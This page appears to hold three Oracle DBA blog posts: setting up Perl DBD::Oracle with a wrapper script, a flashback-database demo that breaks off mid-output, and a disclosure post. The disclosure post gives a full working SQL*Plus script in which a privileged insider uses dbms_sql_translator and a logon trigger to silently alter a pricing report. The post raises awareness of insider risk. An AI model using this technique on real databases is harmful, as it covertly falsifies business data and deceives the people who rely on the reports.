Setting up perl DBD::Oracle

By Brian Fitzgerald

Here are a few notes on setting up perl DBD::Oracle scripts. The objective is to write a script that works across perl versions, Linux versions, and Oracle versions. Assume that you want to create a perl script using only the operating system and an Oracle home.

For the sake of this article, the platforms are Linux 5 and 6. The perl versions found on the operating systems are 5.8.8 and 5.10.1, respectively. The Oracle versions are 11.1, 11.2, and 12.1. The perl versions supplied with the Oracle home are 5.8.3, 5.10.0, and 5.14.1 respectively. Already, there are five distinct perl versions in the mix.

A few of the errors and issues to be worked through are:

  • Can’t locate DBD/Oracle.pm in @INC
  • undefined symbol: PL_charclass
  • libclntsh.so.11.1: cannot open shared object file: No such file or directory
  • Perl command line arguments
  • Taint perl
  • Encapsulation of implementation details in perl modules.

Let’s start with some basics:

First let’s check out basic perl operability on a Linux 5 operating system:

$ unset PERL5LIB
$ unset LD_LIBRARY_PATH
$ unset ORACLE_HOME
$ uname -sro
Linux 2.6.18-274.el5 GNU/Linux
$ /usr/bin/perl -e 'printf "%vd\n", $^V'
5.8.8
$ /usr/bin/perl -e 'use strict'
$

So far, so good. Perl is version 5.8.8 We can access the perl binary and supplied package “strict”. Now let’s try the perl supplied on a Linux 6 system:

$ uname -sro
Linux 3.8.13-16.2.1.el6uek.x86_64 GNU/Linux
$ /usr/bin/perl -e 'printf "%vd\n", $^V'
5.10.1
$ /usr/bin/perl -e 'use strict'
$

Again, so far, so good. Now let’s try DBD::Oracle and /usr/bin/perl. You might get this error:

$ /usr/bin/perl -e 'use DBD::Oracle'
Can't locate DBD/Oracle.pm in @INC (@INC contains: /usr/local/lib64/perl5-
 /usr/local/share/perl5 /usr/lib64/perl5/vendor_perl-
 /usr/share/perl5/vendor_perl-
 /usr/lib64/perl5 /usr/share/perl5 .) at -e line 1.
BEGIN failed--compilation aborted at -e line 1.

(I have folded the output with “-“). The error means that module DBD::Oracle is not installed with the operating system. This is commonplace. From here, your options are to ask the system administrator to install DBD::Oracle, download and compile DBD::Oracle yourself, or use the DBD::Oracle found in the Oracle home. In this case, we will use the perl tree in the Oracle home. If you do, you might notice a new error message:

$ /u01/app/oracle/DB/product/12.1.0/db_1/perl/bin/perl -e 'use DBD::Oracle'
Can't load '/u01/app/oracle/DB/product/12.1.0/db_1/perl/lib/site_perl/5.14.1-
/x86_64-linux-thread-multi/auto/DBD/Oracle/Oracle.so' for module DBD::Oracle:- 
libclntsh.so.12.1: cannot open shared object file: -
No such file or directory at /u01/app/oracle/DB/product/12.1.0/db_1/-
perl/lib/5.14.1/x86_64-linux-thread-multi/DynaLoader.pm line 190.-
 at -e line 1-
Compilation failed in require at -e line 1.-
BEGIN failed--compilation aborted at -e line 1.

Module DBD::Oracle loads ok, but it cannot find the native Oracle database driver libclntsh. The error can be resolved by setting LD_LIBRARY_PATH.

$ export LD_LIBRARY_PATH=/u01/app/oracle/DB/product/12.1.0/db_1/lib
$ /u01/app/oracle/DB/product/12.1.0/db_1/perl/bin/perl -e 'use DBD::Oracle'
$

DBD::Oracle compiles on the Linux 6 box.

You can check that Oracle.so sits on top of Oracle client by using ldd:

$ ldd /u01/app/oracle/DB/product/12.1.0/db_1/-
perl/lib/site_perl/5.14.1/x86_64-linux-thread-multi/-
auto/DBD/Oracle/Oracle.so
        linux-vdso.so.1 =>  (0x00007fff34469000)
        libclntsh.so.12.1 => /u01/app/oracle/DB/product/12.1.0/db_1/-
lib/libclntsh.so.12.1 (0x00007f8f563ea000)
        libclntshcore.so.12.1 => /u01/app/oracle/DB/product/12.1.0/db_1/-
lib/libclntshcore.so.12.1 (0x00007f8f55e77000)
        libdl.so.2 => /lib64/libdl.so.2 (0x00007f8f55c6a000)
        libm.so.6 => /lib64/libm.so.6 (0x00007f8f559e6000)
        libpthread.so.0 => /lib64/libpthread.so.0 (0x00007f8f557c8000)
        libnsl.so.1 => /lib64/libnsl.so.1 (0x00007f8f555af000)
        libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00007f8f55399000)
        libc.so.6 => /lib64/libc.so.6 (0x00007f8f55004000)
        libmql1.so => /u01/app/oracle/DB/product/12.1.0/db_1/lib/libmql1.so (0x00007f8f54d8e000)
        libipc1.so => /u01/app/oracle/DB/product/12.1.0/db_1/lib/libipc1.so (0x00007f8f54a10000)
        libnnz12.so => /u01/app/oracle/DB/product/12.1.0/db_1/lib/libnnz12.so (0x00007f8f542eb000)
        libons.so => /u01/app/oracle/DB/product/12.1.0/db_1/lib/libons.so (0x00007f8f540a6000)
        librt.so.1 => /lib64/librt.so.1 (0x00007f8f53e9e000)
        /lib64/ld-linux-x86-64.so.2 (0x00000039d6a00000)
        libaio.so.1 => /lib64/libaio.so.1 (0x00007f8f53c9c000)

Now to try the same approach on Linux 5 / Oracle 11gR2:

$ export LD_LIBRARY_PATH=/u01/app/oracle/DB/product/11.2.0/db_1/lib
$ /u01/app/oracle/DB/product/11.2.0/db_1/perl/bin/perl -e 'use DBD::Oracle'
$

It works. Finally, try the perl in the 11gR1 home.

$ export LD_LIBRARY_PATH=/u01/app/oracle/DB/product/11.1.0/db_1/lib
$ /u01/app/oracle/DB/product/11.1.0/db_1/perl/bin/perl -e 'printf "%vd\n", $^V'
5.8.3
$ /u01/app/oracle/DB/product/11.1.0/db_1/perl/bin/perl -e 'use DBD::Oracle'
Can't locate DBD/Oracle.pm in @INC (@INC contains: -
/ade/aime_perl58_amd64/perl58/bin/Linux/Opt/lib/5.8.3/x86_64-linux-thread-multi-
 /ade/aime_perl58_amd64/perl58/bin/Linux/Opt/lib/5.8.3-
 /ade/aime_perl58_amd64/perl58/bin/Linux/Opt/lib/site_perl/-
5.8.3/x86_64-linux-thread-multi /ade/aime_perl58_amd64/-
perl58/bin/Linux/Opt/lib/site_perl/5.8.3-
 /ade/aime_perl58_amd64/perl58/bin/Linux/Opt/lib/site_perl .) at -e line 1.
BEGIN failed--compilation aborted at -e line 1.
$

perl did not find module DBD::Oracle. perl seems to be searching under directory tree “/ade”, which does not exist on my system. “/ade” turns up in Google searches, and might be a build environment at Oracle Corp. To fix the search path, we’re going to set PERL5LIB for now.

$ export PERL5LIB=/u01/app/oracle/DB/product/11.1.0/db_1/perl/lib/5.8.3:-
/u01/app/oracle/DB/product/11.1.0/db_1/perl/lib/site_perl/5.8.3-
/x86_64-linux-thread-multi
$ /u01/app/oracle/DB/product/11.1.0/db_1/perl/bin/perl -e 'use DBD::Oracle'
$

That works.

PERL5LIB has two path components. The tree under subdirectory /5.8.3 contains only text files. The tree under site_perl contains some binary object library files. Both trees need to be searched, or you will get errors.

These PERL5LIB variants also seem to work:

$ export PERL5LIB=/u01/app/oracle/DB/product/11.1.0/db_1/perl/lib/5.8.3:-
/u01/app/oracle/DB/product/11.1.0/db_1/perl/lib/site_perl/5.8.3
$ export PERL5LIB=/u01/app/oracle/DB/product/11.1.0/db_1/perl/lib/5.8.3:-
/u01/app/oracle/DB/product/11.1.0/db_1/perl/lib/site_perl

You can switch the order around like this,

$ export PERL5LIB=/u01/app/oracle/DB/product/11.1.0/db_1/perl/lib/site_perl-
/5.8.3/x86_64-linux-thread-multi:-
/u01/app/oracle/DB/product/11.1.0/db_1/perl/lib/5.8.3

however, if you do, then overall, perl will get more misses while searching.

In general, we need LD_LIBRARY_PATH to find libclntsh and on some platforms, we need PERL5LIB to find DBD::Oracle.

Tracing we find that DBD::Oracle depends on shared object library Oracle.so:

$ /u01/app/oracle/DB/product/11.1.0/db_1/perl/bin/perl -e 'use DBD::Oracle'
$ strace -o tr /u01/app/oracle/DB/product/11.1.0/db_1/perl/bin/perl -e 'use DBD::Oracle'
$ grep Oracle.so tr | egrep -v NOENT
stat("/u01/app/oracle/DB/product/11.1.0/db_1/perl/lib/site_perl/5.8.3/-
x86_64-linux-thread-multi/auto/DBD/Oracle/Oracle.so",-
 {st_mode=S_IFREG|0755, st_size=164513, ...}) = 0
open("/u01/app/oracle/DB/product/11.1.0/db_1/perl/lib/site_perl/5.8.3/-
x86_64-linux-thread-multi/auto/DBD/Oracle/Oracle.so", O_RDONLY) = 3
$

Shared object library Oracle.so is compiled together with the perl executable binary found in the same perl tree. The two should be used together.

Here are a two more errors that can arise from using using the perl binary and DBD::Oracle from two different perl trees:

$ /usr/bin/perl -e 'use DBD::Oracle'
Perl lib version (5.14.1) doesn't match executable '-e' version (v5.10.1)-
 at /u01/app/oracle/DB/product/12.1.0/db_1/perl/lib/5.14.1/-
x86_64-linux-thread-multi/Config.pm line 60.
Compilation failed in require at /u01/app/oracle/DB/product/12.1.0/db_1/-
perl/lib/5.14.1/x86_64-linux-thread-multi/DynaLoader.pm line 22.
BEGIN failed--compilation aborted at /u01/app/oracle/DB/product/12.1.0/db_1/-
perl/lib/5.14.1/x86_64-linux-thread-multi/DynaLoader.pm line 22.
Compilation failed in require at /u01/app/oracle/DB/product/12.1.0/db_1/-
perl/lib/site_perl/5.14.1/x86_64-linux-thread-multi/DBI.pm line 160.
BEGIN failed--compilation aborted at /u01/app/oracle/DB/product/12.1.0/db_1/-
perl/lib/site_perl/5.14.1/x86_64-linux-thread-multi/DBI.pm line 160.
Compilation failed in require at /u01/app/oracle/DB/product/12.1.0/db_1/-
perl/lib/site_perl/5.14.1/x86_64-linux-thread-multi/DBD/Oracle.pm line 17.
BEGIN failed--compilation aborted at /u01/app/oracle/DB/product/12.1.0/db_1/-
perl/lib/site_perl/5.14.1/x86_64-linux-thread-multi/DBD/Oracle.pm line 17.
Compilation failed in require at -e line 1.
BEGIN failed--compilation aborted at -e line 1.
Can't load '/u01/app/oracle/DB/product/12.1.0/db_1/-
perl/lib/site_perl/5.14.1/x86_64-linux-thread-multi/auto/DBI/DBI.so'-
 for module DBI: /u01/app/oracle/DB/product/12.1.0/db_1/-
perl/lib/site_perl/5.14.1/x86_64-linux-thread-multi/auto/DBI/DBI.so: -
undefined symbol: PL_charclass at /usr/lib64/perl5/DynaLoader.pm line 200.-
 at /u01/app/oracle/DB/product/12.1.0/db_1/-
perl/lib/site_perl/5.14.1/x86_64-linux-thread-multi/DBI.pm line 268
BEGIN failed--compilation aborted at /u01/app/oracle/DB/product/12.1.0/db_1/-
perl/lib/site_perl/5.14.1/x86_64-linux-thread-multi/DBI.pm line 268.
Compilation failed in require at /u01/app/oracle/DB/product/12.1.0/db_1/-
perl/lib/site_perl/5.14.1/x86_64-linux-thread-multi/DBD/Oracle.pm line 17.
BEGIN failed--compilation aborted at /u01/app/oracle/DB/product/12.1.0/db_1/-
perl/lib/site_perl/5.14.1/x86_64-linux-thread-multi/DBD/Oracle.pm line 17.

The best bet is to use DBD::Oracle from the same tree where you run perl.

Note that “use DBD::Oracle” seems to work, and we have not set ORACLE_HOME yet. From now on, we’ll set ORACLE_HOME because that’s the proper way to access the Oracle software. Not setting ORACLE_HOME eventually leads to problems down the road. We will use ORACLE_HOME to derive variable PERL5LIB. PERL5LIB has a perl version subdirectory component (/5.14.1/ for example). We’ll use the perl $^V variable to programmatically derive that subdirectory. Possibly uname could be used to derive /x86_64-linux-thread-multi/, but I have not tested it on other platforms, so for now, I hard-code it.

The standard way to set ORACLE_HOME is with oraenv, so we’ll use that. I find that oraenv sets LD_LIBRARY_PATH reliably, so I will not set LD_LIBRARY_PATH explicitly in my own scripts.

Creating an executable perl script with #! in the top line is out of the question because the path to perl would be different on each platform. Instead, we’ll create a wrapper. The wrapper could be in any shell. bash is used in this example. We want a wrapper that functions like the perl binary itself. Let’s create the wrapper:

$ unset ORACLE_BASE
$ unset ORACLE_HOME
$ unset LD_LIBRARY_PATH
$ ORAENV_ASK=NO . oraenv
The Oracle base has been set to /u01/app/oracle/DB
$ cat perl.bash
#!/bin/ksh

if [ -z "${ORACLE_HOME}" ] ; then
        echo 'You must set ORACLE_HOME'
        exit 1
fi

PERLBIN=${ORACLE_HOME}/perl/bin/perl
PERLV=`${PERLBIN} -e 'printf "%vd", $^V'` || exit 1

export PERL5LIB
PERL5LIB=${ORACLE_HOME}/perl/lib/${PERLV}
PERL5LIB=${PERL5LIB}:${ORACLE_HOME}/perl/lib/site_perl/${PERLV}/x86_64-linux-thread-multi

${PERLBIN} $*

Let’s start building the perl script:

$ cat dbd.pl
use strict;
use warnings;
use DBD::Oracle;
$ ls -l perl.bash dbd.pl
-rw-r--r--. 1 nobody nobody  43 Nov 27 07:05 dbd.pl
-rwxr-xr-x. 1 nobody nobody 375 Nov 27 06:58 perl.bash

Notice a few things about the perl script: (1) there is no #! at the top, (2) all perl scripts use the strict and warnings module, and (3) the script does not need the execute file permission bit set.

Use the wrapper to call the perl script.

$ ./perl.bash dbd.pl
$

The wrapper and the script seem to work. Let’s try something different:

$ ./perl.bash -e 'use DBD::Oracle'
syntax error at -e line 1, at EOF
Execution of -e aborted due to compilation errors.
$

Our wrapper is not passing the command line arguments correctly. To fix the argument handling, change the final line of the script from:

${PERLBIN} $*

to:

${PERLBIN} "$@"

Try again:

$ ./perl.bash -e 'use DBD::Oracle'
$

It seems to work across all our platforms. Let’s try Taint mode.

$ ./perl.bash -T -e 'use DBD::Oracle'
$ ./perl.bash -T dbd.pl
$

It seems to work in the Oracle 12.1 home. Now try the Oracle 11.1 home:

$ ./perl.bash -T dbd.pl
Can't locate strict.pm in @INC (@INC contains:-
 /ade/aime_perl58_amd64/perl58/bin/Linux/Opt/lib/5.8.3/x86_64-linux-thread-multi-
 /ade/aime_perl58_amd64/perl58/bin/Linux/Opt/lib/5.8.3-
 /ade/aime_perl58_amd64/perl58/bin/Linux/Opt/lib/site_perl/5.8.3-
/x86_64-linux-thread-multi-
 /ade/aime_perl58_amd64/perl58/bin/Linux/Opt/lib/site_perl/5.8.3-
 /ade/aime_perl58_amd64/perl58/bin/Linux/Opt/lib/site_perl) at dbd.pl line 1.
BEGIN failed--compilation aborted at dbd.pl line 1.
$

Taint (“-T”) does not trust environment variable PERL5LIB, and refuses to search it. To fix that, use the -I (include) command line switch instead. Change:

export PERL5LIB
PERL5LIB=${ORACLE_HOME}/perl/lib/${PERLV}
PERL5LIB=${PERL5LIB}:${ORACLE_HOME}/perl/lib/site_perl/-
${PERLV}/x86_64-linux-thread-multi

${PERLBIN} "$@"

to

unset PERL5LIB

PERLINC="-I ${ORACLE_HOME}/perl/lib/${PERLV}"
PERLINC="${PERLINC} -I ${ORACLE_HOME}/perl/lib/site_perl/${PERLV}"

${PERLBIN} ${PERLINC} "$@"
$ ./perl.bash -T dbd.pl
$

It works across platforms.

We’ll add the -w (warning) switch to identify risky coding practices.

${PERLBIN} -w ${PERLINC} "$@"

Here is an example of a warning:

$ ./perl.bash -e '$x=1'
Name "main::x" used only once: possible typo at -e line 1.
$

Next, we’ll create new directory /home/dba/perl/lib for creating our own collection of administrative perl modules. Let’s create a few perl modules. Here’s a module for getting a sysdba connection.

$ cat lib/Conn.pm
package Conn;

use strict;
use warnings;
use DBD::Oracle qw(:ora_session_modes);

sub new()
{
        my $this = bless {};
        return $this;
}

sub connectSysDba()
{
        my $this = shift;
        my $dbh = DBI->connect('dbi:Oracle:', '/', undef, {
                ora_session_mode        => ORA_SYSDBA,
                RaiseError              => 1
        } );
        $dbh->{ LongTruncOk } = 0;
        $dbh->{ LongReadLen } = 2000000;

        $this->{ DBH } = $dbh;
}

sub dbh()
{
        my $this = shift;
        return $this->{ DBH };
}

1;

The module is designed so that in case of any error, a script using it should fail early and fail loudly.

Here’s a module for getting attributes from v$database.

$ cat lib/Database.pm
package Database;

use strict;
use warnings;
sub new()
{
        my $this = bless {};
        return $this;
}

sub setDbh()
{
        my $this = shift;
        ( $this->{ DBH } ) = @_;
}

sub getVDatabaseHash()
{
        my $this = shift;
        my $sql = q{select * from v$database};
        my $href = $this->{ DBH }->selectrow_hashref( $sql );
        $this->{ DATABASE } = $href;
}

sub logMode()
{
        my $this = shift;
        $this->getVDatabaseHash();
        return $this->{ DATABASE }{ LOG_MODE };
}

sub logModeIsArchiveLog()
{
        my $this = shift;
        $this->logMode();
        return $this->{ DATABASE }{ LOG_MODE } eq 'ARCHIVELOG' ? 1 : 0;
}

1;

Notice that implementation details are hidden and encapsulated in the perl modules.

Here’s an administrative script that could do something depending depending on whether the database is in archivelog mode.

$ cat admin.pl
use strict;
use warnings;
use Conn;
use Database;

my $CONN = Conn->new();
$CONN->connectSysDba();
my $DB = Database->new();
$DB->setDbh( $CONN->dbh() );
if ( $DB->logModeIsArchiveLog() )
{
        printf "Do something with archivelog mode\n";
} else {
        printf "Do something with noarchivelog mode\n";
}

$

Examples:

$ ./perl.bash admin.pl
Do something with archivelog mode
$
$ ./perl.bash admin.pl
Do something with noarchivelog mode
$

The “something” could be backup, restore, flashback, duplicate database, etc. It’s up to you. Here is the finished perl wrapper.

$ cat perl.bash
#!/bin/bash

if [ -z "${ORACLE_HOME}" ] ; then
        echo 'You must set ORACLE_HOME'
        exit 1
fi

PERLBIN=${ORACLE_HOME}/perl/bin/perl
PERLV=`${PERLBIN} -e 'printf "%vd", $^V'` || exit 1

unset PERL5LIB

DBASCR=/home/dba/perl

PERLINC="-I ${ORACLE_HOME}/perl/lib/${PERLV}"
PERLINC="${PERLINC} -I ${ORACLE_HOME}/perl/lib/site_perl/${PERLV}"
PERLINC="${PERLINC} -I ${DBASCR}/lib"

${PERLBIN} -w ${PERLINC} "$@"

Summary:

  • Use perl binary executable and the perl system modules from the same perl tree.
  • Use a shell wrapper to call the perl binary and DBD::Oracle.
  • Encapsulate implementation details in your own perl modules.

 

 

 

 

 

 

 

 

Potential for malicious use of dbms_sql_translator

By: Brian Fitzgerald

This blog posting points out how dbms_sql_translator could be misused to subtly alter application reporting. In the past, segregation of duties across application developers and administrators made such manipulation less feasible. Auditing could detect the act after the fact, but cannot prevent it.

Scenario: A company runs a pricing application. Malicious privileged user Trudy manipulates the reported price.

[oracle@stormking cdb12102 sqltranslator]$ cat transdemo.sql
whenever sqlerror exit 1
set linesize 32767
set pagesize 50000

conn d/d@//stormking:1521/pdbm
select user from dual;

create user uprice
        identified by uprice
        default tablespace users
        quota unlimited on users;
grant   create session,
        create table
        to uprice;

conn uprice/uprice@//stormking:1521/pdbm
select user from dual;
create table prices
(
        entity  varchar2(20),
        price   number
);
insert into prices ( entity, price ) values ( 'ABC', 54.32);
insert into prices ( entity, price ) values ( 'DEF', 11.44);
commit;
select entity, price from prices;

conn d/d@//stormking:1521/pdbm
select user from dual;
create user trudy identified by trudy;
grant dba to trudy;

conn trudy/trudy@//stormking:1521/pdbm
select user from dual;

grant translate any sql to trudy;
begin
        dbms_sql_translator.create_profile(
                profile_name    => q'{pricefixpro}'
        );

        dbms_sql_translator.register_sql_translation(
                profile_name    => q'{pricefixpro}',
                sql_text        => q'{select entity, price from prices}',
                translated_text => q'{select entity,
                        case entity when 'DEF'
                        then price * .99
                        else price end price
                        from prices}'
        );
end;
/

column owner format a30
column profile_name format a30
select owner, profile_name
from dba_sql_translation_profiles;

create or replace trigger uprice.xlate_trg
after logon on database
when ( user in ('UPRICE') )
declare
        l_cmd   clob;
begin
        l_cmd := q'{alter session
                set events = '10601
                trace name context forever, level 32'}';
        execute immediate l_cmd;
        l_cmd := q'{alter session
                set sql_translation_profile = trudy.pricefixpro}';
        execute immediate l_cmd;
end;
/

column owner format a10
column trigger_name format a20
column trigger_type format a20
column triggering_event format a10
select
owner, trigger_name, trigger_type, triggering_event
from dba_triggers
where owner = 'UPRICE'
and trim(triggering_event) = 'LOGON'
;

grant alter session to uprice;
grant all on sql translation profile pricefixpro to uprice;
grant administer database trigger to uprice;

conn uprice/uprice@//stormking:1521/pdbm
select user from dual;

select entity, price from prices;

conn d/d@//stormking:1521/pdbm
select user from dual;
drop trigger uprice.xlate_trg;
revoke administer database trigger from uprice;
revoke alter session from uprice;
drop user trudy cascade;

drop user uprice cascade;
quit
[oracle@stormking cdb12102 sqltranslator]$ sqlplus /nolog @ transdemo.sql ; date

SQL*Plus: Release 12.1.0.2.0 Production on Sat Nov 5 11:40:50 2016

Copyright (c) 1982, 2014, Oracle.  All rights reserved.

Connected.

USER
------------------------------
D


User created.


Grant succeeded.

Connected.

USER
------------------------------
UPRICE


Table created.


1 row created.


1 row created.


Commit complete.


ENTITY                    PRICE
-------------------- ----------
ABC                       54.32
DEF                       11.44

Connected.

USER
------------------------------
D


User created.


Grant succeeded.

Connected.

USER
------------------------------
TRUDY


Grant succeeded.


PL/SQL procedure successfully completed.


OWNER                          PROFILE_NAME
------------------------------ ------------------------------
TRUDY                          PRICEFIXPRO


Trigger created.


OWNER      TRIGGER_NAME         TRIGGER_TYPE         TRIGGERING
---------- -------------------- -------------------- ----------
UPRICE     XLATE_TRG            AFTER EVENT          LOGON


Grant succeeded.


Grant succeeded.


Grant succeeded.

Connected.

USER
------------------------------
UPRICE


ENTITY                    PRICE
-------------------- ----------
ABC                       54.32
DEF                     11.3256

Connected.

USER
------------------------------
D


Trigger dropped.


Revoke succeeded.


Revoke succeeded.


User dropped.


User dropped.

Flashback database with deleted archive log, or no archive log.

By: Brian Fitzgerald

Scenarios:

  1. You want to run flashback database, but, for some reason, a needed archivelog has been deleted, but you have a backup.
  2. You want to be able to flashback a database without needing any archivelog.

Solutions:

  1. Identify and restore the needed archive log (usually just one).
  2. Create the restore point while the database is mounted and consistent.

Demo #1. Flashback if a needed archivelog has been deleted:

[oracle@stormking TESTFB blog]$ rman target /

Recovery Manager: Release 12.1.0.2.0 - Production on Mon Oct 24 20:09:43 2016

Copyright (c) 1982, 2014, Oracle and/or its affiliates. All rights reserved.

connected to target database: TESTFB (DBID=2908670758)

RMAN> backup archivelog all not backed up 1 times delete input;

Starting backup at 20161024 20:10
current log archived
using target database control file instead of recovery catalog
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=65 device type=DISK
channel ORA_DISK_1: starting archived log backup set
channel ORA_DISK_1: specifying archived log(s) in backup set
input archived log thread=1 sequence=21 RECID=6 STAMP=926107742
input archived log thread=1 sequence=22 RECID=7 STAMP=926107771
input archived log thread=1 sequence=23 RECID=8 STAMP=926107773
input archived log thread=1 sequence=24 RECID=9 STAMP=926107777
input archived log thread=1 sequence=25 RECID=10 STAMP=926107803
channel ORA_DISK_1: starting piece 1 at 20161024 20:10
channel ORA_DISK_1: finished piece 1 at 20161024 20:10
piece handle=+RECO/TESTFB/BACKUPSET/2016_10_24/annnf0_tag20161024t201006_0.532.926107807 tag=TAG20161024T201006 comment=NONE
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:03
channel ORA_DISK_1: deleting archived log(s)
RMAN-08139: WARNING: archived redo log not deleted, needed for guaranteed restore point
archived log file name=+RECO/TESTFB/ARCHIVELOG/2016_10_24/thread_1_seq_21.456.926107741 thread=1 sequence=21
RMAN-08139: WARNING: archived redo log not deleted, needed for guaranteed restore point
archived log file name=+RECO/TESTFB/ARCHIVELOG/2016_10_24/thread_1_seq_22.465.926107771 thread=1 sequence=22
archived log file name=+RECO/TESTFB/ARCHIVELOG/2016_10_24/thread_1_seq_23.469.926107773 RECID=8 STAMP=926107773
archived log file name=+RECO/TESTFB/ARCHIVELOG/2016_10_24/thread_1_seq_24.536.926107777 RECID=9 STAMP=926107777
archived log file name=+RECO/TESTFB/ARCHIVELOG/2016_10_24/thread_1_seq_25.527.926107803 RECID=10 STAMP=926107803
Finished backup at 20161024 20:10

RMAN> delete noprompt force archivelog all;

released channel: ORA_DISK_1
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=65 device type=DISK
List of Archived Log Copies for database with db_unique_name TESTFB
=====================================================================

Key Thrd Seq S Low Time
------- ---- ------- - --------------
6 1 21 A 20161024 20:07
 Name: +RECO/TESTFB/ARCHIVELOG/2016_10_24/thread_1_seq_21.456.926107741

7 1 22 A 20161024 20:09
 Name: +RECO/TESTFB/ARCHIVELOG/2016_10_24/thread_1_seq_22.465.926107771

deleted archived log
archived log file name=+RECO/TESTFB/ARCHIVELOG/2016_10_24/thread_1_seq_21.456.926107741 RECID=6 STAMP=926107742
deleted archived log
archived log file name=+RECO/TESTFB/ARCHIVELOG/2016_10_24/thread_1_seq_22.465.926107771 RECID=7 STAMP=926107771
Deleted 2 objects

[oracle@stormking TESTFB blog]$ sysdba @ flashback.db.to.restorepoint.sql

SQL*Plus: Release 12.1.0.2.0 Production on Mon Oct 24 20:32:02 2016

Copyright (c) 1982, 2014, Oracle. All rights reserved.


Connected to:
Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
With the Partitioning, Automatic Storage Management, OLAP, Advanced Analytics
and Real Application Testing options


no rows selected

a guaranteed restore point exists

NAME
--------------------------------------------------------------------------------
FBDEMO_RP_20161024_2009

FBDEMO_RP_20161024_2009
ORACLE instance started.

Total System Global Area 2533359616 bytes
Fixed Size 2927576 bytes
Variable Size 671089704 bytes
Database Buffers 1845493760 bytes
Redo Buffers 13848576 bytes
Database mounted.
old 1: flashback database to restore point &&name
new 1: flashback database to restore point FBDEMO_RP_20161024_2009
flashback database to restore point FBDEMO_RP_20161024_2009
*
ERROR at line 1:
ORA-38754: FLASHBACK DATABASE not started; required redo log is not available
ORA-38762: redo logs needed for SCN 1709223 to SCN 1709224
ORA-38761: redo log sequence 22 in thread 1, incarnation 2 could not be
accessed

OK, we have a problem. The solution is to find out the needed SCN from v$restore_point, and then restore that archivelog.

[oracle@stormking TESTFB blog]$ sysdba @ vrestorepoint.sql

SQL*Plus: Release 12.1.0.2.0 Production on Mon Oct 24 20:54:02 2016

Copyright (c) 1982, 2014, Oracle. All rights reserved.


Connected to:
Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
With the Partitioning, Automatic Storage Management, OLAP, Advanced Analytics
and Real Application Testing options


Session altered.


 SCN DATABASE_INCARNATION# GUA TIME NAME
---------------- --------------------- --- ---------------- ----------------------------------------
 1709224 2 YES 2016-10-24 20:09 FBDEMO_RP_20161024_2009

RMAN> restore archivelog from scn 1709224 until scn 1709224;

Starting restore at 20161024 20:38
using target database control file instead of recovery catalog
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=24 device type=DISK

channel ORA_DISK_1: starting archived log restore to default destination
channel ORA_DISK_1: restoring archived log
archived log thread=1 sequence=22
channel ORA_DISK_1: reading from backup piece +RECO/TESTFB/BACKUPSET/2016_10_24/annnf0_tag20161024t201006_0.532.926107807
channel ORA_DISK_1: piece handle=+RECO/TESTFB/BACKUPSET/2016_10_24/annnf0_tag20161024t201006_0.532.926107807 tag=TAG20161024T201006
channel ORA_DISK_1: restored backup piece 1
channel ORA_DISK_1: restore complete, elapsed time: 00:00:04
Finished restore at 20161024 20:39

RMAN>

Recovery Manager complete.
[oracle@stormking TESTFB blog]$ sysdba @ flashback.db.to.restorepoint.sql

SQL*Plus: Release 12.1.0.2.0 Production on Mon Oct 24 20:39:16 2016

Copyright (c) 1982, 2014, Oracle. All rights reserved.


Connected to:
Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
With the Partitioning, Automatic Storage Management, OLAP, Advanced Analytics
and Real Application Testing options


no rows selected

a guaranteed restore point exists

NAME
--------------------------------------------------------------------------------
FBDEMO_RP_20161024_2009

FBDEMO_RP_20161024_2009
ORACLE instance started.

Total System Global Area 2533359616 bytes
Fixed Size 2927576 bytes
Variable Size 671089704 bytes
Database Buffers 1845493760 bytes
Redo Buffers 13848576 bytes
Database mounted.
old 1: flashback database to restore point &&name
new 1: flashback database to restore point FBDEMO_RP_20161024_2009

Flashback complete.

SQL> alter database open resetlogs;

Database altered.

Demo #2. Be able to flashback without any archivelogs. First, shutdown immediate, then startup mount. Create the restore point. No archivelogs will be required to flash back.

[oracle@stormking TESTFB blog]$ sysdba @ cr.consistent.restorepoint.sql

SQL*Plus: Release 12.1.0.2.0 Production on Mon Oct 24 21:02:59 2016

Copyright (c) 1982, 2014, Oracle. All rights reserved.


Connected to:
Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
With the Partitioning, Automatic Storage Management, OLAP, Advanced Analytics
and Real Application Testing options


no rows selected

flashback database is enabled

Session altered.


no rows selected


no rows selected

no restore point exists

RP INST
-------------------------------------------------------------------------------- --------
consistent_rp_20161024_2102 TESTFB

consistent_rp_20161024_2102
Database closed.
Database dismounted.
ORACLE instance shut down.
ORACLE instance started.

Total System Global Area 2533359616 bytes
Fixed Size 2927576 bytes
Variable Size 671089704 bytes
Database Buffers 1845493760 bytes
Redo Buffers 13848576 bytes
Database mounted.

no rows selected

the database is consistent
old 1: create restore point &&rp guarantee flashback database
new 1: create restore point consistent_rp_20161024_2102 guarantee flashback database

Restore point created.


Session altered.


 SCN DATABASE_INCARNATION# GUA TIME NAME
---------------- --------------------- --- ---------------- ----------------------------------------
 1712257 3 YES 2016-10-24 21:03 CONSISTENT_RP_20161024_2102

Disconnected from Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
With the Partitioning, Automatic Storage Management, OLAP, Advanced Analytics
and Real Application Testing options
[oracle@stormking TESTFB blog]$ rman target /

Recovery Manager: Release 12.1.0.2.0 - Production on Mon Oct 24 21:03:40 2016

Copyright (c) 1982, 2014, Oracle and/or its affiliates. All rights reserved.

connected to target database: TESTFB (DBID=2908670758, not open)

RMAN> backup archivelog all not backed up 1 times delete input;

Starting backup at 20161024 21:03
using target database control file instead of recovery catalog
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=30 device type=DISK
skipping archived log of thread 1 with sequence 22; already backed up
skipping archived logs of thread 1 from sequence 24 to 25; already backed up
channel ORA_DISK_1: starting archived log backup set
channel ORA_DISK_1: specifying archived log(s) in backup set
input archived log thread=1 sequence=26 RECID=13 STAMP=926109581
channel ORA_DISK_1: starting piece 1 at 20161024 21:03
channel ORA_DISK_1: finished piece 1 at 20161024 21:03
